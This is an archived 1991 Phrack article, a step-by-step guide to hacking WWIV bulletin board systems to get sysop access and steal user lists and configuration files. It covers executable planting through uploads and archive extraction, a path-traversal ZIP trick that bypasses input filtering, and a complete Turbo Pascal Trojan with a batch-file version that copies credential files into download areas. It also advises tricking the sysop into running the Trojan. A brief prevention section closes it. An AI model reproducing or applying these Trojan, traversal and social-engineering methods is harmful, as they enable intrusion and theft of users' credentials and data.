home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack34.005 < prev    next >
Encoding:
Text File  |  2003-06-11  |  17.1 KB  |  413 lines

  1.                                 ==Phrack Inc.==
  2.  
  3.                 Volume Three, Issue Thirty-four, File #5 of 11
  4.  
  5.                           ***                    ***
  6.                           ***                    ***
  7.                           *** The Complete Guide ***
  8.                           ***  to Hacking WWIV   ***
  9.                           ***                    ***
  10.                           ***     by Inhuman     ***
  11.                           ***   September 1991   ***
  12.                           ***                    ***
  13.                           ***                    ***
  14.  
  15.      WWIV is one of the most popular BBS programs in the country.  With
  16. thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a
  17. lot of support and community.  The nice thing about WWIV is that it is very
  18. easy to set up.  This makes it popular among the younger crowd of sysops who
  19. can't comprehend the complexities of fossil drivers and batch files.  In this
  20. file, I will discuss four methods of hacking WWIV to achieve sysop access and
  21. steal the user and configuration files.  Just remember the number one rule
  22. of hacking: Don't destroy, alter, or create files on someone else's computer,
  23. unless it's to cover your own trail.  Believe me, there is nothing lower than
  24. the scum who hack BBSes for the sheer pleasure of formatting someone else's
  25. hard drive.  But there is nothing wrong (except legally) with hacking a system
  26. to look at the sysop's files, get phone numbers, accounts, etc.  Good luck.
  27.  
  28. ***
  29. *** Technique #1: The Wildcard Upload
  30. ***
  31.  
  32.      This technique will only work on a board running an unregistered
  33. old version of DSZ and a version of WWIV previous to v4.12.  It is all
  34. based on the fact that if you do a wildcard upload (*.*), whatever file you
  35. upload will go into the same directory as DSZ.COM, which is often the main BBS
  36. directory.  So there are several methods of hacking using this technique.
  37.  
  38.      If the sysop is running an unmodified version of WWIV, you can simply
  39. compile a modded version of it with a backdoor and overwrite his copy.  Your
  40. new copy will not be loaded into memory until the BBS either shrinks out (by
  41. running an onliner or something), or the sysop terminates the BBS and runs it
  42. again.
  43.  
  44.      You can also have some fun with two strings that WWIV always recognizes at
  45. the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!".  The first is used by
  46. WWIVnet to tell the BBS that it is receiving a net call.  If the BBS is part of
  47. a network and you type "!@-NETWORK-@!", it will then wait for the network
  48. password and other data.  If the board is not part of a network, it will just
  49. act like you typed an invalid user name.  The second string is reserved for
  50. whatever programs people wanted to write for WWIV, like an off-line reader or
  51. whatever.  Snarf (the file leeching utility) uses this.  If there is not a
  52. REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you
  53. entered an invalid user name.  So, what you can do is wildcard upload either
  54. REMOTE.COM or NETWORK.COM.  You want to call them COM files, because if the EXE
  55. files already exist, the COM ones will be called first.  If the BBS is part of
  56. a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will
  57. screw up network communications and the sysop will notice a lot faster.  Of
  58. course, if you're going straight in for the kill, it doesn't matter.
  59.  
  60.      So, what should NETWORK.COM or REMOTE.COM actually be? you ask.  Well, you
  61. can try renaming COMMAND.COM to one of those two, which would make a DOS shell
  62. for you when it was executed.  This is tricky, though, because you need to know
  63. his DOS version.  I suggest a batch file, compiled to a COM file using PC Mag's
  64. BAT2EXEC.  You can make the batch file have one line:
  65.  
  66. \COMMAND
  67.  
  68.      That way you don't have to worry about DOS versions.
  69.  
  70.      Remember that this method of hacking WWIV is almost completely obsolete.
  71. It is just included for reference, or for some old board run from an empty
  72. house where the sysop logs on twice a year or something.
  73.  
  74. ***
  75. *** Technique #2: The PKZIP Archive Hack
  76. ***
  77.  
  78.      Probably the most vulnerable part of WWIV is the archive section.  This
  79. section allows users to unZIP files to a temporary directory and ZIP the files
  80. you want into a temporary ZIP file, then download it.  This is useful if you
  81. download a file from another board, but one file in it is corrupted.  This way
  82. you don't have to re-download the whole file.  Anyway, on with the show.  Make
  83. a zip file that contains a file called PKZIP.BAT or COM or EXE.  It doesn't
  84. matter.  This file will be executed, so make it whatever you want, just like in
  85. Technique #1.  Make it COMMAND.COM, or a batch file, or a HD destroyer,
  86. whatever you want.  So you upload this file, and then type "E" to extract it.
  87.  
  88. It'll ask you what file to extract and you say the name of the file you just
  89. uploaded.  It'll then say "Extract What? " and you say "*.*".  It'll then unzip
  90. everything (your one file) into the TEMP directory.  Then go to the archive
  91. menu ("G") and pick "A" to add a file to archive.  It'll ask what file you want
  92. to add, and say anything, it doesn't matter.  At this point it will try to
  93. execute the command:
  94.  
  95. PKZIP TEMP.ZIP \TEMP\%1
  96.  
  97.      Where %1 is what you just entered.  The file pointer is already pointing
  98. to the temp directory, so instead of executing PKZIP from the DOS path, it'll
  99. execute the file sitting in the current directory, TEMP.  So then it runs PKZIP
  100. and you get your DOS shell or whatever.
  101.      If PKZIP does not work, you may want to try uploading another file, and
  102. use the same technique, but instead make it an ARC file and call the file in
  103. the archive PKPAK.
  104.  
  105.      This technique is relatively easy to defeat from the sysop's end, but
  106. often they are too lazy, or just haven't heard about it.
  107.  
  108. ***
  109. *** Technique #3: The -D Archive Hack
  110. ***
  111.  
  112.      This technique also plays on the openness of WWIV's archive system.  This
  113. is another method of getting a file into the root BBS directory, or anywhere on
  114. the hard drive, for that matter.
  115.  
  116.      First, create a temporary directory on your hard drive.  It doesn't matter
  117. what it's called.  We'll call it TEMP.  Then, make a sub-directory of TEMP
  118. called AA. It can actually be called any two-character combination, but we'll
  119. keep it nice and simple.  Then make a subdirectory of AA called WWIV.
  120.  
  121.      Place NETWORK.COM or REMOTE.COM or whatever in the directory
  122. \TEMP\AA\WWIV.  Then from the TEMP directory execute the command:
  123.  
  124. PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.
  125.  
  126.      This will create a zip file of all the contents of the directories, but
  127. with all of the directory names recursed and stored.  So if you do a PKZIP -V
  128. to list the files you should see AA\WWIV\REMOTE.COM, etc.
  129.  
  130.      Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
  131. for "AA".  When you find it (it should occur twice), change it to "C:".  It is
  132. probably a good idea to do this twice, once with the subdirectory called WWIV,
  133. and another with it called BBS, since those are the two most common main BBS
  134. directory names for WWIV.  You may even want to try D: or E: in addition to C:.
  135. You could even work backwards, by forgetting the WWIV subdirectory, and just
  136. making it AA\REMOTE.COM, and changing the "AA" to "..".  This would be
  137. foolproof.  You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.
  138.  
  139.      Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
  140. type "E" to extract it to a temporary directory.  It'll ask you what file.
  141. Type "STUFF.ZIP".  It'll ask what you want to extract.  Type """-D".  It'll
  142. then execute:
  143.  
  144. PKUNZIP STUFF.ZIP ""-D
  145.  
  146.      It will unzip everything into the proper directory.  Voila.  The quotation
  147. marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
  148. for the hyphen.  This method can only be defeated by modifying the source code,
  149. or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
  150. lose your archive section.
  151.  
  152.  
  153.  
  154. ***
  155. *** Technique #4: The Trojan Horse File-Stealer
  156. ***
  157.  
  158.      This method, if executed properly, is almost impossible to defeat, and
  159. will conceivably work on any BBS program, if you know the directory structure
  160. well enough.  Once again, you need PC Mag's BAT2EXEC, or enough programming
  161. experience to write a program that will copy files from one place to another.
  162.      The basic principle is this: You get the sysop to run a program that you
  163. upload.  This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over*
  164. files that already exist in the transfer or gfiles area.  You then go download
  165. those files and you have the two most important files that exist for WWIV.
  166. Now, you need to do a certain amount of guess-work here.  WWIV has it's
  167. directories set up like this:
  168.  
  169.  
  170.  
  171.        --- TEMP
  172.       I              --- DIR1
  173.       I             I
  174.       I--- DLOADS---I--- DIR2
  175.       I             I
  176.       I              --- DIR3
  177. WWIV--I--- DATA
  178.       I              --- GDIR1
  179.       I             I
  180.       I--- GFILES---I--- GDIR2
  181.       I             I
  182.       I              --- GDIR3
  183.        --- MSGS
  184.  
  185.  
  186.      The sysop sets the names for the DIR1, DIR2, etc.  Often you have names
  187. like UPLOADS, GAMES, UTILS, etc.  For the gfile dirs you might have GENERAL,
  188. HUMOR, whatever.
  189.  
  190.      So you have to make a guess at the sysop's directory names.  Let's say he
  191. never moves his files from the upload directory.  Then do a directory list from
  192. the transfer menu and pick two files that you don't think anyone will download.
  193. Let's say you see:
  194.  
  195. RABBIT  .ZIP 164k : The History of Rabbits from Europe to the U.S.
  196. SCD     .COM  12k : SuperCD - changes dirs 3% faster than DOS's CD!
  197.  
  198.      So you then might write a batch file like this:
  199.  
  200. @ECHO OFF
  201. COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP
  202. COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP
  203. COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM
  204. COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM
  205.  
  206.      You'd then compile it to a COM file and upload it to the sysop directory.
  207. Obviously this file is going to be pretty small, so you have to make up
  208. plausible use for it.  You could say it's an ANSI screen for your private BBS,
  209. and the sysop is invited.  This is good if you have a fake account as the
  210. president of some big cracking group.  You wouldn't believe how gullible some
  211. sysops are.  At any rate, use your imagination to get him to run the file.  And
  212. make it sound like he shouldn't distribute it, so he won't put it in some
  213. public access directory.
  214.  
  215.      There is a problem with simply using a batch file.  The output will look
  216. like:
  217.  
  218. 1 file(s) copied.
  219. File not found.
  220. 1 file(s) copied.
  221. File not found.
  222.  
  223.      That might get him curious enough to look at it with a hex editor, which
  224. would probably blow everything.  That's why it's better to write a program in
  225. your favorite language to do this.  Here is a program that searches specified
  226. drives and directories for CONFIG.DAT and USER.LST and copies them over the
  227. files of your choice.  It was written in Turbo Pascal v5.5:
  228.  
  229. Program CopyThisOverThat;
  230.  
  231. { Change the dir names to whatever you want.  If you change the number of
  232.   locations it checks, be sure to change the "num" constants as well  }
  233.  
  234. uses dos;
  235.  
  236. const
  237.    NumMainDirs = 5;
  238.    MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD',
  239.       'BOARD','WAR');
  240.    NumGfDirs = 3;
  241.    GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS');
  242.    NumSubGFDirs = 2;
  243.    SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');
  244.  
  245.    NumDirsToTest = 3;
  246.    DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\');
  247.    {ok to test for one that doesn't exist}
  248.  
  249.    {Source file names include paths from the MAIN BBS subdir (e.g. "BBS")  }
  250.  
  251.    SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA
  252. T');
  253.  
  254.    { Dest file names are from subgfdirs }
  255.  
  256.    DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');
  257.  
  258. var
  259.    p, q, r, x, y, dirN: byte;
  260.    bigs: word;
  261.    CurDir, BackDir: string[80];
  262.    f1, f2: file;
  263.    Info: pointer;
  264.    ok: boolean;
  265.  
  266. Procedure Sorry;
  267.  
  268. var
  269.    x, y: integer;
  270. begin
  271. for y := 1 to 1000 do
  272.    for x := 1 to 100 do
  273.       ;
  274. Writeln;
  275. Writeln ('<THIS IS DISPLAYED WHEN FINISHED>');  {change to something like }
  276. Writeln;                                        {Abnormal program termination}
  277. ChDir(BackDir);
  278. Halt;
  279. end;
  280.  
  281. begin
  282.  
  283. Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }
  284.  
  285. {$I-}                                          {Loading...}
  286.  
  287. GetDir (0, BackDir);
  288. ChDir('\');
  289. for dirn := 1 to NumDirsToTest do
  290.    begin
  291.    ChDir(DirsToTest[dirn]);
  292.    if IOResult = 0 then
  293.       begin
  294.       for p := 1 to NumMainDirs do
  295.          begin
  296.          ChDir (MainDirs[p]);
  297.          if (IOResult <> 0) then
  298.             begin
  299.             if (p = NumMainDirs) and (dirn = NumDirsToTest) then
  300.                Sorry;
  301.             end else begin
  302.             p := NumMainDirs;
  303.             for q := 1 to NumGFDirs do
  304.                begin
  305.                ChDir (GFDirs[q]);
  306.                if (IOResult <> 0) then
  307.                   begin
  308.                   if (q = NumGFDirs) and (dirn=NumdirsToTest) then
  309.                      Sorry;
  310.                   end else begin
  311.                   q := NumGFDirs;
  312.                   for r := 1 to NumSubGFDirs do
  313.                      begin
  314.                      ChDir (SubGFDirs[r]);
  315.                      if (IOResult <> 0) then
  316.                         begin
  317.                         if r = NumSubGFDirs then
  318.                            Sorry;
  319.                         end else begin
  320.                         r := NumSubGFDirs;
  321.                         dirn := NumDirsToTest;
  322.                         ok := true;
  323.                         end;
  324.                      end;
  325.                   end;
  326.                end;
  327.             end;
  328.          end;
  329.       end;
  330.    end;
  331. GetDir (0, CurDir);
  332. ChDir ('..');
  333. ChDir ('..');
  334. for x := 1 to 2 do
  335.    begin
  336.    Assign (f1, SourceFileNames[x]);
  337.    Assign (f2, CurDir+DestFileNames[x]);
  338.    Reset (f1, 1);
  339.    if IOResult <> 0 then
  340.       begin
  341.       if x = 2 then
  342.          Sorry;
  343.       end else begin
  344.       ReWrite (f2, 1);
  345.       Bigs := FileSize(f1);
  346.       GetMem(Info, Bigs);
  347.       BlockRead(f1, Info^, Bigs);
  348.       BlockWrite (f2, Info^, Bigs);
  349.       FreeMem(Info, Bigs);
  350.       end;
  351.    end;
  352. Sorry;
  353. end.
  354.  
  355.      So hopefully the sysop runs this program and emails you with something
  356. like "Hey it didn't work bozo!".  Or you could make it work.  You could
  357. actually stick a BBS ad in the program or whatever.  It's up to you.  At any
  358. rate, now you go download those files that it copied the USER.LST and
  359. CONFIG.DAT over.  You can type out the CONFIG.DAT and the first word you see in
  360. all caps is the system password.  There are several utilities for WWIV that let
  361. you compile the USER.LST to a text file.  You can find something like that on a
  362. big WWIV board, or you can try to figure it out with a text or hex editor.  At
  363. any rate, once you have those two files, you're in good shape.
  364.  
  365.      You could also use a batch file like that in place of one that calls
  366. COMMAND.COM for something like REMOTE.COM.  It's up to you.
  367.  
  368. ***
  369. *** Hacking Prevention
  370. ***
  371.  
  372.      So you are the sysop of a WWIV board, and are reading this file with
  373. growing dismay.  Have no fear, if you have patience, almost all of these
  374. methods can be fixed.
  375.  
  376.      To eliminate the wildcard upload, all you have to do it get a current copy
  377. of WWIV (4.20), and the latest version of DSZ.  It's all been fixed.  To fix
  378. the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP,
  379. PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have.  So your
  380. command lines should look like:
  381.  
  382. \DOS\PKZIP -V %1
  383.  
  384.      Or something similar.  That will fix that nicely.  To eliminate the -D
  385. method, you have to make some modifications to the source code if you want to
  386. keep your archive section.  Goose, sysop of the Twilight Zone BBS in VA,
  387. puts out a NOHACK mod, which is updated regularly.  It fixes ALL of these
  388. methods except the last.  The latest version of NOHACK is v2.4.  If you are a
  389. WWIV sysop, put it in.
  390.  
  391.      I can think of two ways to stop the last method, but neither of them are
  392. easy, and both require source code modifications.  You could keep track of the
  393. filesize of a file when it's uploaded.  Then when someone goes to download it,
  394. you could check the actual filesize with the size when it was uploaded.  If
  395. they differ, it wouldn't let you download it.  You could do the same with the
  396. date.  Although either method could be gotten around with enough patience.
  397.  
  398.      For a virtually unhackable system, voice validate all users, have all
  399. uploads go to the sysop directory so you can look over them first, and don't
  400. run any programs.  Of course, this is very tedious, but that is the price
  401. of a secure BBS.
  402.  
  403. ***
  404. *** Thanks
  405. ***
  406.  
  407.      Thanks to Fenris Wolf for teaching me about the -D method, to Steve
  408. for help with the CopyThisOverThat program, and to Insight for proofing this
  409. file.
  410.  
  411. *******************************************************************************
  412.  
  413.